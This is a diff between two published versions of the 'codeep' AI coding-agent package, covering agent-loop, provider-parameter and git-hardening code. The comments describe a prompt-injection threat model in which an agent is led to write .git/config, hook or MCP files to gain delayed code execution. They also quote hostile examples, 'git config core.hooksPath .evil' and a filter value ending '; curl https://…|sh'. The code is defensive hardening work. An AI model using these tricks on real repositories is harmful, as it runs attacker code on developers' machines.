codeep 3.4.0 → 3.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/acp/commands.d.ts +15 -0
- package/dist/acp/commands.js +39 -5
- package/dist/acp/server.d.ts +13 -0
- package/dist/acp/server.js +283 -27
- package/dist/acp/serverHandlers.js +10 -10
- package/dist/acp/session.d.ts +13 -2
- package/dist/acp/transport.d.ts +6 -0
- package/dist/acp/transport.js +98 -3
- package/dist/api/index.js +6 -3
- package/dist/config/index.js +12 -4
- package/dist/config/providers.d.ts +48 -4
- package/dist/config/providers.js +325 -88
- package/dist/renderer/agentExecution.js +116 -69
- package/dist/renderer/commands.js +36 -11
- package/dist/renderer/main.d.ts +24 -0
- package/dist/renderer/main.js +57 -2
- package/dist/utils/agent.d.ts +33 -2
- package/dist/utils/agent.js +86 -8
- package/dist/utils/agentChat.js +22 -10
- package/dist/utils/checkpoints.js +3 -0
- package/dist/utils/codeReview.js +28 -23
- package/dist/utils/git.d.ts +262 -4
- package/dist/utils/git.js +1928 -61
- package/dist/utils/gitHookInstaller.d.ts +32 -1
- package/dist/utils/gitHookInstaller.js +76 -8
- package/dist/utils/headlessReview.js +26 -5
- package/dist/utils/personalities.js +8 -2
- package/dist/utils/shell.d.ts +108 -0
- package/dist/utils/shell.js +364 -5
- package/dist/utils/taskPlanner.js +12 -4
- package/dist/utils/telegramApproval.d.ts +10 -2
- package/dist/utils/telegramApproval.js +22 -4
- package/dist/utils/tokenTracker.d.ts +13 -5
- package/dist/utils/tokenTracker.js +163 -34
- package/dist/utils/toolExecution.d.ts +41 -0
- package/dist/utils/toolExecution.js +357 -1
- package/dist/version.d.ts +1 -1
- package/dist/version.js +1 -1
- package/package.json +1 -1
package/dist/utils/agent.js
CHANGED
|
@@ -37,6 +37,7 @@ function calculateDynamicTimeout(iteration, baseTimeout) {
|
|
|
37
37
|
return Math.max(calculatedTimeout, 120000);
|
|
38
38
|
}
|
|
39
39
|
import { parseToolCalls, executeTool, createActionLog } from './tools.js';
|
|
40
|
+
import { trustBearingWrite, forgetHooksDirectory, NO_CONFIRMER_REFUSAL } from './toolExecution.js';
|
|
40
41
|
import { config } from '../config/index.js';
|
|
41
42
|
import { supportsNativeTools } from '../config/providers.js';
|
|
42
43
|
import { isMcpToolName, isVirtualMcpToolName } from './mcpRegistry.js';
|
|
@@ -55,6 +56,27 @@ function truncateToolResult(output, toolName) {
|
|
|
55
56
|
const truncated = output.length - TOOL_RESULT_MAX_CHARS;
|
|
56
57
|
return `${kept}\n[... ${truncated} chars truncated — use search_code or read specific sections if you need more]`;
|
|
57
58
|
}
|
|
59
|
+
// ─── Assistant turns in the flattened history ─────────────────────────────────
|
|
60
|
+
/**
|
|
61
|
+
* The text an assistant turn is kept as in the history sent back next time.
|
|
62
|
+
*
|
|
63
|
+
* The loop stores each turn as plain text, and a turn that only called tools
|
|
64
|
+
* has none: Claude often skips the narration, and Opus 5.5 and Fable 5.1 move
|
|
65
|
+
* it into thinking blocks, which the stream parser does not keep. Stored as
|
|
66
|
+
* '', that turn is an empty non-final message on the next request, which
|
|
67
|
+
* Anthropic's Messages API refuses with a 400 ("all messages must have
|
|
68
|
+
* non-empty content except for the optional final assistant message").
|
|
69
|
+
* agentChat turns that 400 into the text-tool fallback, which sends the same
|
|
70
|
+
* history and fails the same way, so the run died on its second iteration.
|
|
71
|
+
* Naming the tools keeps the turn truthful and non-empty.
|
|
72
|
+
*/
|
|
73
|
+
export function assistantHistoryText(content, toolCalls) {
|
|
74
|
+
if (content.trim())
|
|
75
|
+
return content;
|
|
76
|
+
if (toolCalls.length > 0)
|
|
77
|
+
return `Using ${[...new Set(toolCalls.map(t => t.tool))].join(', ')}.`;
|
|
78
|
+
return '(no reply)';
|
|
79
|
+
}
|
|
58
80
|
// ─── Context window compression ───────────────────────────────────────────────
|
|
59
81
|
const CONTEXT_COMPRESS_THRESHOLD = 200_000; // ~50K tokens, safe for all providers
|
|
60
82
|
const RECENT_MESSAGES_TO_KEEP = 6; // Always preserve the last N messages verbatim
|
|
@@ -568,6 +590,13 @@ export async function runAgent(prompt, projectContext, options = {}) {
|
|
|
568
590
|
const alwaysAllowedTools = opts.permissionMemory?.alwaysAllowed ?? new Set();
|
|
569
591
|
// Track tools permanently rejected this session via reject_always
|
|
570
592
|
const alwaysRejectedTools = opts.permissionMemory?.alwaysRejected ?? new Set();
|
|
593
|
+
// Files that decide what runs later and were refused for good this session.
|
|
594
|
+
// Kept apart from the tool set on purpose: the TUI's only "no" button answers
|
|
595
|
+
// reject_always, so saying no to one `.git/config` prompt would otherwise
|
|
596
|
+
// turn off delete_file — and every other use of that tool — for the rest of
|
|
597
|
+
// the run. Keyed by the resolved path, so one answer covers every spelling
|
|
598
|
+
// of the same file.
|
|
599
|
+
const alwaysRejectedPaths = opts.permissionMemory?.alwaysRejectedPaths ?? new Set();
|
|
571
600
|
// Tools that require permission when onRequestPermission is set (configurable)
|
|
572
601
|
const dangerousTools = buildDangerousTools(opts.extraDangerousTools);
|
|
573
602
|
// Delegation handler: run a named (or generic) sub-agent in its own fresh
|
|
@@ -634,7 +663,7 @@ export async function runAgent(prompt, projectContext, options = {}) {
|
|
|
634
663
|
dryRun: opts.dryRun,
|
|
635
664
|
onRequestPermission: opts.onRequestPermission,
|
|
636
665
|
extraDangerousTools: opts.extraDangerousTools,
|
|
637
|
-
permissionMemory: { alwaysAllowed: alwaysAllowedTools, alwaysRejected: alwaysRejectedTools },
|
|
666
|
+
permissionMemory: { alwaysAllowed: alwaysAllowedTools, alwaysRejected: alwaysRejectedTools, alwaysRejectedPaths },
|
|
638
667
|
modelOverride,
|
|
639
668
|
onExecuteCommand: opts.onExecuteCommand,
|
|
640
669
|
fs: opts.fs,
|
|
@@ -690,13 +719,56 @@ export async function runAgent(prompt, projectContext, options = {}) {
|
|
|
690
719
|
if (opts.allowedTools && !opts.allowedTools.includes(toolCall.tool)) {
|
|
691
720
|
return refuse(`Tool "${toolCall.tool}" is not available to this sub-agent.`, `Tool ${toolCall.tool} is not allowed for this sub-agent. Use only: ${opts.allowedTools.join(', ')}.`);
|
|
692
721
|
}
|
|
693
|
-
|
|
694
|
-
|
|
695
|
-
|
|
722
|
+
const denied = () => refuse(`User rejected permission for ${toolCall.tool}`, `Tool ${toolCall.tool} was denied by user. Do not attempt this action again.`);
|
|
723
|
+
// Writing a file that decides what runs later is code execution on a
|
|
724
|
+
// delay, not an edit: git runs `core.fsmonitor` itself on the next
|
|
725
|
+
// `git status` the status line makes, a `.codeep/hooks/` script runs on
|
|
726
|
+
// the next tool call, an MCP entry spawns a process. A prompt injection
|
|
727
|
+
// that gets one of these written has walked around every other gate, so
|
|
728
|
+
// the write is confirmed in EVERY confirmation mode — not only the tiers
|
|
729
|
+
// that happen to list write_file — and an "always allow" answer given for
|
|
730
|
+
// the tool never covers it. With nobody to ask, it fails the way a write
|
|
731
|
+
// the editor refused fails: proceeding quietly is the one outcome that
|
|
732
|
+
// cannot be taken back.
|
|
733
|
+
const trustBearing = trustBearingWrite(toolCall, projectContext.root || process.cwd());
|
|
734
|
+
if (trustBearing) {
|
|
735
|
+
if (!opts.onRequestPermission) {
|
|
736
|
+
const refusal = refuse(`Refused ${toolCall.tool} on ${trustBearing.path}: ${trustBearing.reason} ${NO_CONFIRMER_REFUSAL}`, `Tool ${toolCall.tool} was refused on ${trustBearing.path}. ${trustBearing.reason} Nobody could be asked to confirm it. Do not try again — tell the user to edit that file themselves.`);
|
|
737
|
+
recordAuditEvent(auditRoot, {
|
|
738
|
+
ts: Date.now(), run: auditRun, tool: toolCall.tool, action: 'refused',
|
|
739
|
+
target: describeAuditTarget(toolCall), outcome: 'refused',
|
|
740
|
+
detail: `${trustBearing.path} decides what runs later and no confirmation was possible`,
|
|
741
|
+
});
|
|
742
|
+
return refusal;
|
|
743
|
+
}
|
|
744
|
+
// An "always deny" already given: for the tool, when the user really
|
|
745
|
+
// chose that in an ordinary prompt, or for this file.
|
|
746
|
+
if (alwaysRejectedTools.has(toolCall.tool) || alwaysRejectedPaths.has(trustBearing.file))
|
|
747
|
+
return denied();
|
|
748
|
+
const decision = classifyPermissionOutcome(await opts.onRequestPermission(toolCall, trustBearing));
|
|
749
|
+
// Neither answer is remembered for the TOOL. "Always allow" is not
|
|
750
|
+
// remembered at all: it was an answer about THIS file, and the next
|
|
751
|
+
// `.git/config` write must be asked about again. "Always deny" is
|
|
752
|
+
// remembered against the file — the fail-closed half of the same rule.
|
|
753
|
+
// Against the tool it would be a trap: the TUI offers Allow, Always
|
|
754
|
+
// Allow and Deny, and that Deny answers reject_always, so refusing one
|
|
755
|
+
// `.git/config` prompt would silently disable delete_file for the rest
|
|
756
|
+
// of the run.
|
|
757
|
+
if (decision !== 'allow-once' && decision !== 'allow-always') {
|
|
758
|
+
if (decision === 'deny-always')
|
|
759
|
+
alwaysRejectedPaths.add(trustBearing.file);
|
|
760
|
+
return denied();
|
|
761
|
+
}
|
|
762
|
+
}
|
|
763
|
+
else if (opts.onRequestPermission && requiresPermission(toolCall.tool, dangerousTools) && !alwaysAllowedTools.has(toolCall.tool)) {
|
|
764
|
+
// Every other tool: the run's dangerous set decides, and only when
|
|
765
|
+
// there is a callback to ask through (e.g. ACP/Zed).
|
|
696
766
|
// Skip without asking if permanently rejected this session
|
|
697
767
|
if (alwaysRejectedTools.has(toolCall.tool))
|
|
698
768
|
return denied();
|
|
699
|
-
|
|
769
|
+
// `null` and not nothing: this branch runs only when the call writes no
|
|
770
|
+
// such file, and saying so spares the dialog the second lookup.
|
|
771
|
+
const outcome = await opts.onRequestPermission(toolCall, null);
|
|
700
772
|
// Fail CLOSED: allow ONLY on an explicit allow outcome; reject_* and
|
|
701
773
|
// any malformed/unknown outcome deny (see classifyPermissionOutcome).
|
|
702
774
|
const decision = classifyPermissionOutcome(outcome);
|
|
@@ -740,6 +812,12 @@ export async function runAgent(prompt, projectContext, options = {}) {
|
|
|
740
812
|
}
|
|
741
813
|
else {
|
|
742
814
|
try {
|
|
815
|
+
// Runs in the editor's terminal instead of ours, so executeTool's
|
|
816
|
+
// own invalidation never fires — but `git config core.hooksPath
|
|
817
|
+
// .evil` moves this repository's hooks just the same. Drop the
|
|
818
|
+
// cached answer here too, or the next write to the new hook
|
|
819
|
+
// directory goes through unasked.
|
|
820
|
+
forgetHooksDirectory();
|
|
743
821
|
const commandResult = await opts.onExecuteCommand(command, args, cwd);
|
|
744
822
|
toolResult = {
|
|
745
823
|
success: commandResult.exitCode === 0,
|
|
@@ -1063,7 +1141,7 @@ export async function runAgent(prompt, projectContext, options = {}) {
|
|
|
1063
1141
|
if (hasIncompleteWork) {
|
|
1064
1142
|
debug('Model wants to continue, prompting for next action');
|
|
1065
1143
|
incompleteWorkRetries++;
|
|
1066
|
-
messages.push({ role: 'assistant', content });
|
|
1144
|
+
messages.push({ role: 'assistant', content: assistantHistoryText(content, toolCalls) });
|
|
1067
1145
|
messages.push({
|
|
1068
1146
|
role: 'user',
|
|
1069
1147
|
content: 'Continue. Execute the tool calls now.'
|
|
@@ -1079,8 +1157,8 @@ export async function runAgent(prompt, projectContext, options = {}) {
|
|
|
1079
1157
|
debug(`Agent finished at iteration ${iteration}`);
|
|
1080
1158
|
break;
|
|
1081
1159
|
}
|
|
1082
|
-
// Add assistant response to history
|
|
1083
|
-
messages.push({ role: 'assistant', content });
|
|
1160
|
+
// Add assistant response to history — never empty (see assistantHistoryText).
|
|
1161
|
+
messages.push({ role: 'assistant', content: assistantHistoryText(content, toolCalls) });
|
|
1084
1162
|
// Execute tool calls
|
|
1085
1163
|
const toolResults = [];
|
|
1086
1164
|
for (const toolCall of toolCalls) {
|
package/dist/utils/agentChat.js
CHANGED
|
@@ -20,7 +20,7 @@ import { config, getApiKey, resolveBaseUrl } from '../config/index.js';
|
|
|
20
20
|
import { loadProjectIntelligence, generateContextFromIntelligence } from './projectIntelligence.js';
|
|
21
21
|
import { formatCommandIndex } from './commandIndex.js';
|
|
22
22
|
import { syncProgress, generateProjectId } from './codeepCloud.js';
|
|
23
|
-
import { getProviderAuthHeader, supportsNativeTools, getEffectiveMaxTokens, usesMaxCompletionTokens, requiresDefaultTemperature, modelRejectsSamplingParams, isNoApiKeyProvider, reasoningParamsFor, providerNoStreamWithTools } from '../config/providers.js';
|
|
23
|
+
import { getProviderAuthHeader, supportsNativeTools, getEffectiveMaxTokens, usesMaxCompletionTokens, requiresDefaultTemperature, modelRejectsSamplingParams, isNoApiKeyProvider, reasoningParamsFor, providerNoStreamWithTools, minResponseTokensFor } from '../config/providers.js';
|
|
24
24
|
import { recordTokenUsage, extractOpenAIUsage, extractAnthropicUsage } from './tokenTracker.js';
|
|
25
25
|
import { parseOpenAIToolCalls, parseAnthropicToolCalls, parseToolCalls } from './toolParsing.js';
|
|
26
26
|
import { formatToolDefinitions, getOpenAITools, getAnthropicTools } from './tools.js';
|
|
@@ -484,10 +484,17 @@ additionalTools, runtime) {
|
|
|
484
484
|
// Provider-level guard (OpenAI GPT-5+) OR model-level guard — Anthropic's
|
|
485
485
|
// Fable 5 / Opus 4.7+ reject temperature with a 400; omission is safe.
|
|
486
486
|
const tempParam = (requiresDefaultTemperature(providerId) || modelRejectsSamplingParams(model)) ? {} : { temperature: config.get('temperature') };
|
|
487
|
-
|
|
488
|
-
|
|
487
|
+
const tier = config.get('reasoningEffort');
|
|
488
|
+
// Room for the answer after the thinking (Opus 5.5 thinks on every turn).
|
|
489
|
+
const responseBudget = Math.max(config.get('maxTokens'), 16384, minResponseTokensFor(model, tier));
|
|
489
490
|
if (protocol === 'openai') {
|
|
490
|
-
const
|
|
491
|
+
const openAITools = getOpenAITools(additionalTools, allowedTools);
|
|
492
|
+
// Thinking-effort tier → provider-shaped param ({} for 'auto'/unsupported).
|
|
493
|
+
// This request carries tools, which GPT-6 Sol/Luna on Chat Completions
|
|
494
|
+
// accept only at reasoning_effort "none"; told so, reasoningParamsFor
|
|
495
|
+
// sends that for them whatever the tier.
|
|
496
|
+
const openAIReasoning = reasoningParamsFor(providerId, model, tier, { tools: openAITools.length > 0 });
|
|
497
|
+
const maxTok = getEffectiveMaxTokens(providerId, responseBudget);
|
|
491
498
|
const tokParam = usesMaxCompletionTokens(providerId) ? { max_completion_tokens: maxTok } : { max_tokens: maxTok };
|
|
492
499
|
endpoint = `${baseUrl}/chat/completions`;
|
|
493
500
|
// OpenRouter-specific extras: request `usage` block in the response
|
|
@@ -537,8 +544,8 @@ additionalTools, runtime) {
|
|
|
537
544
|
}
|
|
538
545
|
body = {
|
|
539
546
|
model, messages: [{ role: 'system', content: systemPrompt }, ...messages],
|
|
540
|
-
tools:
|
|
541
|
-
...tempParam, ...tokParam, ...
|
|
547
|
+
tools: openAITools, tool_choice: 'auto', stream: useStreaming,
|
|
548
|
+
...tempParam, ...tokParam, ...openAIReasoning,
|
|
542
549
|
// Ask ALL OpenAI-compatible providers to emit a usage block in the
|
|
543
550
|
// stream — without this most (DeepSeek/Kimi/Grok/Qwen/GLM/…) send no
|
|
544
551
|
// usage on streamed responses and the whole turn records zero tokens.
|
|
@@ -568,7 +575,8 @@ additionalTools, runtime) {
|
|
|
568
575
|
system: [{ type: 'text', text: systemPrompt, cache_control: { type: 'ephemeral' } }],
|
|
569
576
|
messages,
|
|
570
577
|
tools: cachedTools, stream: useStreaming,
|
|
571
|
-
...tempParam, ...
|
|
578
|
+
...tempParam, ...reasoningParamsFor(providerId, model, tier),
|
|
579
|
+
max_tokens: getEffectiveMaxTokens(providerId, responseBudget),
|
|
572
580
|
};
|
|
573
581
|
}
|
|
574
582
|
const response = await fetch(endpoint, {
|
|
@@ -701,10 +709,14 @@ export async function agentChatFallback(messages, systemPrompt, onChunk, abortSi
|
|
|
701
709
|
// Provider-level guard (OpenAI GPT-5+) OR model-level guard — Anthropic's
|
|
702
710
|
// Fable 5 / Opus 4.7+ reject temperature with a 400; omission is safe.
|
|
703
711
|
const tempParam = (requiresDefaultTemperature(providerId) || modelRejectsSamplingParams(model)) ? {} : { temperature: config.get('temperature') };
|
|
712
|
+
const tier = config.get('reasoningEffort');
|
|
704
713
|
// Thinking-effort tier → provider-shaped param ({} for 'auto'/unsupported).
|
|
705
|
-
|
|
714
|
+
// No `tools` array goes out on this path — the tools are text in the
|
|
715
|
+
// prompt — so GPT-6 Sol/Luna keep the user's tier here.
|
|
716
|
+
const reasoningParam = reasoningParamsFor(providerId, model, tier);
|
|
717
|
+
const responseBudget = Math.max(config.get('maxTokens'), 16384, minResponseTokensFor(model, tier));
|
|
706
718
|
if (protocol === 'openai') {
|
|
707
|
-
const maxTok = getEffectiveMaxTokens(providerId,
|
|
719
|
+
const maxTok = getEffectiveMaxTokens(providerId, responseBudget);
|
|
708
720
|
const tokParam = usesMaxCompletionTokens(providerId) ? { max_completion_tokens: maxTok } : { max_tokens: maxTok };
|
|
709
721
|
endpoint = `${baseUrl}/chat/completions`;
|
|
710
722
|
body = {
|
|
@@ -727,7 +739,7 @@ export async function agentChatFallback(messages, systemPrompt, onChunk, abortSi
|
|
|
727
739
|
...messages,
|
|
728
740
|
],
|
|
729
741
|
stream: Boolean(onChunk), ...tempParam, ...reasoningParam,
|
|
730
|
-
max_tokens: getEffectiveMaxTokens(providerId,
|
|
742
|
+
max_tokens: getEffectiveMaxTokens(providerId, responseBudget),
|
|
731
743
|
};
|
|
732
744
|
}
|
|
733
745
|
const response = await fetch(endpoint, {
|
|
@@ -38,6 +38,7 @@ import { isSafeProjectWriteTarget, writeProjectFile } from './projectPaths.js';
|
|
|
38
38
|
import { join } from 'path';
|
|
39
39
|
import { randomUUID } from 'crypto';
|
|
40
40
|
import { execSync } from 'child_process';
|
|
41
|
+
import { hardenedGitEnv } from './git.js';
|
|
41
42
|
function getCheckpointsDir(workspaceRoot) {
|
|
42
43
|
return join(workspaceRoot, '.codeep', 'checkpoints');
|
|
43
44
|
}
|
|
@@ -49,6 +50,8 @@ function readGitHead(workspaceRoot) {
|
|
|
49
50
|
encoding: 'utf-8',
|
|
50
51
|
stdio: ['ignore', 'pipe', 'ignore'],
|
|
51
52
|
timeout: 2000,
|
|
53
|
+
// Read-only and Codeep's own, so the repository's hooks stay out of it.
|
|
54
|
+
env: hardenedGitEnv({ cwd: workspaceRoot, noHooks: true }),
|
|
52
55
|
}).trim();
|
|
53
56
|
return out || undefined;
|
|
54
57
|
}
|
package/dist/utils/codeReview.js
CHANGED
|
@@ -3,7 +3,7 @@
|
|
|
3
3
|
*/
|
|
4
4
|
import { existsSync, readFileSync, readdirSync } from 'fs';
|
|
5
5
|
import { join, extname, relative } from 'path';
|
|
6
|
-
import {
|
|
6
|
+
import { getChangedFilesResult } from './git.js';
|
|
7
7
|
import { loadReviewConfig, globToRegExp } from './reviewConfig.js';
|
|
8
8
|
// Built-in code patterns that indicate issues. Each has a stable `id` so it can
|
|
9
9
|
// be turned off per-project via `.codeep/review.json` { "disable": ["..."] }.
|
|
@@ -274,26 +274,24 @@ function analyzeFile(filePath, content, projectRoot, rules, disabled) {
|
|
|
274
274
|
}
|
|
275
275
|
return issues;
|
|
276
276
|
}
|
|
277
|
-
/**
|
|
278
|
-
* Get files to review
|
|
279
|
-
*/
|
|
280
277
|
function getFilesToReview(projectRoot, specificFiles) {
|
|
281
278
|
if (specificFiles && specificFiles.length > 0) {
|
|
282
|
-
return
|
|
283
|
-
.map(f => join(projectRoot, f))
|
|
284
|
-
|
|
279
|
+
return {
|
|
280
|
+
files: specificFiles.map(f => join(projectRoot, f)).filter(f => existsSync(f)),
|
|
281
|
+
source: 'specific',
|
|
282
|
+
};
|
|
285
283
|
}
|
|
286
|
-
// Get changed files from git
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
284
|
+
// Get changed files from git. Called ONCE — the scope line below used to
|
|
285
|
+
// call getChangedFiles() a second time, which is a second `git config
|
|
286
|
+
// --list` plus a second `git status` on every review.
|
|
287
|
+
const changed = getChangedFilesResult(projectRoot);
|
|
288
|
+
if (changed.files.length > 0) {
|
|
289
|
+
return { files: changed.files.map(f => join(projectRoot, f)), source: 'git' };
|
|
290
290
|
}
|
|
291
291
|
// Otherwise, review src directory
|
|
292
292
|
const srcDir = join(projectRoot, 'src');
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
}
|
|
296
|
-
return getAllSourceFiles(projectRoot);
|
|
293
|
+
const files = existsSync(srcDir) ? getAllSourceFiles(srcDir) : getAllSourceFiles(projectRoot);
|
|
294
|
+
return { files, source: 'scan', gitError: changed.error };
|
|
297
295
|
}
|
|
298
296
|
/**
|
|
299
297
|
* Get all source files in directory
|
|
@@ -341,7 +339,8 @@ export function performCodeReview(projectContext, specificFiles) {
|
|
|
341
339
|
...CODE_PATTERNS.filter((p) => !disabled.has(p.id)),
|
|
342
340
|
...(config?.rules ?? []),
|
|
343
341
|
];
|
|
344
|
-
|
|
342
|
+
const selection = getFilesToReview(projectRoot, specificFiles);
|
|
343
|
+
let filesToReview = selection.files;
|
|
345
344
|
// Apply include/exclude globs (posix-relative paths). Empty include = all.
|
|
346
345
|
if (config && (config.include.length > 0 || config.exclude.length > 0)) {
|
|
347
346
|
const inc = config.include.map(globToRegExp);
|
|
@@ -356,17 +355,23 @@ export function performCodeReview(projectContext, specificFiles) {
|
|
|
356
355
|
});
|
|
357
356
|
}
|
|
358
357
|
const allIssues = [];
|
|
359
|
-
// Determine scope —
|
|
360
|
-
//
|
|
358
|
+
// Determine scope — reports the branch getFilesToReview actually took,
|
|
359
|
+
// rather than re-deriving it, so the two can no longer disagree.
|
|
360
|
+
const count = `${filesToReview.length} file${filesToReview.length === 1 ? '' : 's'}`;
|
|
361
361
|
let scope;
|
|
362
|
-
if (
|
|
363
|
-
scope = `specific file${specificFiles
|
|
362
|
+
if (selection.source === 'specific') {
|
|
363
|
+
scope = `specific file${specificFiles?.length === 1 ? '' : 's'} (${filesToReview.length})`;
|
|
364
|
+
}
|
|
365
|
+
else if (selection.source === 'git') {
|
|
366
|
+
scope = `unstaged git changes (${count})`;
|
|
364
367
|
}
|
|
365
|
-
else if (
|
|
366
|
-
|
|
368
|
+
else if (selection.gitError) {
|
|
369
|
+
// Not "no git changes": git would not run here, so nobody knows whether
|
|
370
|
+
// there are any. Say which, and say why — the message carries the fix.
|
|
371
|
+
scope = `full src/ scan — git could not list the changes: ${selection.gitError} (${count})`;
|
|
367
372
|
}
|
|
368
373
|
else {
|
|
369
|
-
scope = `full src/ scan — no git changes (${
|
|
374
|
+
scope = `full src/ scan — no git changes (${count})`;
|
|
370
375
|
}
|
|
371
376
|
for (const filePath of filesToReview) {
|
|
372
377
|
try {
|
package/dist/utils/git.d.ts
CHANGED
|
@@ -1,10 +1,41 @@
|
|
|
1
|
-
import { ActionLog } from './tools';
|
|
1
|
+
import type { ActionLog } from './tools';
|
|
2
2
|
export interface GitStatus {
|
|
3
3
|
isRepo: boolean;
|
|
4
4
|
branch?: string;
|
|
5
5
|
hasChanges?: boolean;
|
|
6
6
|
ahead?: number;
|
|
7
7
|
behind?: number;
|
|
8
|
+
/**
|
|
9
|
+
* Why there is no branch here — a GitHardeningError, or git itself failing.
|
|
10
|
+
* Declared because getGitStatus was already filling it through an
|
|
11
|
+
* `as GitStatus` cast that the compiler could not check: the field existed
|
|
12
|
+
* at runtime, nothing in the type said so, and the status line in
|
|
13
|
+
* renderer/main.ts reads `.branch` only — so a refusal showed up as the
|
|
14
|
+
* branch silently disappearing. Written for the user; show it where the
|
|
15
|
+
* branch would go.
|
|
16
|
+
*
|
|
17
|
+
* Every way git can fail lands here, including the ordinary ones. The
|
|
18
|
+
* commonest is a brand-new `git init` with no commit yet, where `git
|
|
19
|
+
* rev-parse --abbrev-ref HEAD` answers `fatal: ambiguous argument 'HEAD'`
|
|
20
|
+
* (git 2.54) — which is why nothing should put this in front of the user
|
|
21
|
+
* as an instruction. Use `refusal` for that.
|
|
22
|
+
*/
|
|
23
|
+
error?: string;
|
|
24
|
+
/**
|
|
25
|
+
* Set ONLY when the hardening refused to run git here, and never for an
|
|
26
|
+
* ordinary git failure. The message names the config key and the
|
|
27
|
+
* `git config --unset` that clears it, so it is the one the TUI shows
|
|
28
|
+
* verbatim (see gitRefusalNotice in renderer/main.ts).
|
|
29
|
+
*
|
|
30
|
+
* This field shipped dead in the first cut of the hotfix: main.ts read
|
|
31
|
+
* `status.refusal`, `GitStatus` never declared it and getGitStatus never
|
|
32
|
+
* set it, so the warning it exists to raise never fired once and the only
|
|
33
|
+
* symptom of a refused repository was the branch quietly vanishing from
|
|
34
|
+
* the header — the exact symptom that notice was written to remove. When
|
|
35
|
+
* this is set, `error` carries the same text, so callers that only know
|
|
36
|
+
* about `error` still say something useful.
|
|
37
|
+
*/
|
|
38
|
+
refusal?: string;
|
|
8
39
|
}
|
|
9
40
|
export interface GitDiffResult {
|
|
10
41
|
success: boolean;
|
|
@@ -17,8 +48,201 @@ export interface GitCommitResult {
|
|
|
17
48
|
error?: string;
|
|
18
49
|
}
|
|
19
50
|
/**
|
|
20
|
-
*
|
|
51
|
+
* Raised instead of handing git an environment that the config scan below
|
|
52
|
+
* could not finish building. Every caller in this file catches it and reports
|
|
53
|
+
* `error.message`, which is written for the user rather than for a log.
|
|
54
|
+
*/
|
|
55
|
+
export declare class GitHardeningError extends Error {
|
|
56
|
+
constructor(message: string);
|
|
57
|
+
}
|
|
58
|
+
/**
|
|
59
|
+
* The exact `filter.<driver>.{clean,smudge,process}` command lines that the
|
|
60
|
+
* well-known content-filter integrations write into a repository's own
|
|
61
|
+
* config. A repo-scope filter whose value is one of these is left RUNNING;
|
|
62
|
+
* every other one refuses the call (see the filter rule below).
|
|
63
|
+
*
|
|
64
|
+
* These are whole-value comparisons against a frozen list of literals, never
|
|
65
|
+
* a prefix or a substring test, and that is the point rather than a detail.
|
|
66
|
+
* Git runs a filter command through a shell, so `git-lfs clean -- %f; curl
|
|
67
|
+
* https://…|sh` STARTS WITH an allowlisted line and would sail through a
|
|
68
|
+
* `startsWith` check while doing something else entirely; `%f` in the middle
|
|
69
|
+
* of a longer value is the same hole for a substring check. Whole-value
|
|
70
|
+
* equality against literals also means "contains no shell metacharacter" is a
|
|
71
|
+
* property of this list rather than something that has to be re-checked at
|
|
72
|
+
* runtime — and the suite asserts that property so a future entry cannot
|
|
73
|
+
* quietly break it.
|
|
74
|
+
*
|
|
75
|
+
* These are the values with the program named BARE. The same integrations
|
|
76
|
+
* also spell the program as an absolute path, which is the machine's and not
|
|
77
|
+
* a string this file can pin — see isSafeContentFilterCommand(), which takes
|
|
78
|
+
* the basename apart and compares it against this same list.
|
|
79
|
+
*
|
|
80
|
+
* A spelling that is NOT accepted in any form: `"<abs path to python>" -m
|
|
81
|
+
* nbstripout`, which newer nbstripout installers write. Its program is
|
|
82
|
+
* `python`, so there is nothing to recognise in it — the argument tail is
|
|
83
|
+
* what says what it will do, and pinning `-m nbstripout` would pin a
|
|
84
|
+
* mechanism for running any module at all. Those repositories get the
|
|
85
|
+
* refusal and its `--unset`, which is the fail-closed half of the policy
|
|
86
|
+
* working as intended rather than an oversight.
|
|
87
|
+
*/
|
|
88
|
+
export declare const SAFE_CONTENT_FILTER_COMMANDS: ReadonlySet<string>;
|
|
89
|
+
/**
|
|
90
|
+
* Whether a repo-scope `filter.<driver>.{clean,smudge,process}` value is one
|
|
91
|
+
* of the well-known integrations — accepting the spelling that names the
|
|
92
|
+
* program by an ABSOLUTE PATH, which the frozen list above cannot hold.
|
|
93
|
+
*
|
|
94
|
+
* `/usr/local/bin/git-lfs filter-process` is what a `git lfs install` writes
|
|
95
|
+
* on a machine where git-lfs is not the one on PATH, and git-annex writes the
|
|
96
|
+
* same shape. Those are ordinary working repositories, and the whole-value
|
|
97
|
+
* list refused every git call in them — the fail-closed policy landing on the
|
|
98
|
+
* integrations it was written to keep running.
|
|
99
|
+
*
|
|
100
|
+
* What is compared is the program's BASENAME plus the argument tail EXACTLY
|
|
101
|
+
* as the literal spells it, so every property of the list survives the
|
|
102
|
+
* relaxation. `/usr/local/bin/git-lfs clean -- %f; curl …|sh` fails on its
|
|
103
|
+
* bytes before anything is compared; `… clean -- %f --extra` and `…
|
|
104
|
+
* FILTER-PROCESS` produce a tail that is not in the list; a leading command
|
|
105
|
+
* puts something other than an absolute path in the first word. There is no
|
|
106
|
+
* prefix matching anywhere in here, in either half.
|
|
107
|
+
*
|
|
108
|
+
* And the path has to name the program PATH ALREADY RESOLVES that basename
|
|
109
|
+
* to, which is the check that keeps this from being a way in. Without it the
|
|
110
|
+
* repository picks the program: it ships an executable called `git-lfs` — or
|
|
111
|
+
* `cat`, which is on the list with no arguments at all — points the filter at
|
|
112
|
+
* its own checkout, and git runs it. That is not a relaxation of the
|
|
113
|
+
* allowlist, it is the end of it. With it, an absolute path can only name the
|
|
114
|
+
* same file the bare spelling on the list would have run anyway, so the
|
|
115
|
+
* repository gains nothing by writing it out.
|
|
116
|
+
*
|
|
117
|
+
* `env` is the environment the REAL git call will run under, so the PATH
|
|
118
|
+
* asked here is the PATH the shell git spawns would search.
|
|
119
|
+
*/
|
|
120
|
+
export declare function isSafeContentFilterCommand(value: string, env: NodeJS.ProcessEnv): boolean;
|
|
121
|
+
/**
|
|
122
|
+
* Whether `<key>=<value>` is a config key that makes git RUN a program.
|
|
123
|
+
*
|
|
124
|
+
* Exported for utils/shell.ts, which has to answer the same question about a
|
|
125
|
+
* `git -c <key>=<value>` an agent typed. Keeping one answer is the point:
|
|
126
|
+
* these are exactly the keys this file spends its length neutralising, and a
|
|
127
|
+
* second hand-written list in the command validator would drift away from
|
|
128
|
+
* this one the first time a rule is added here.
|
|
129
|
+
*
|
|
130
|
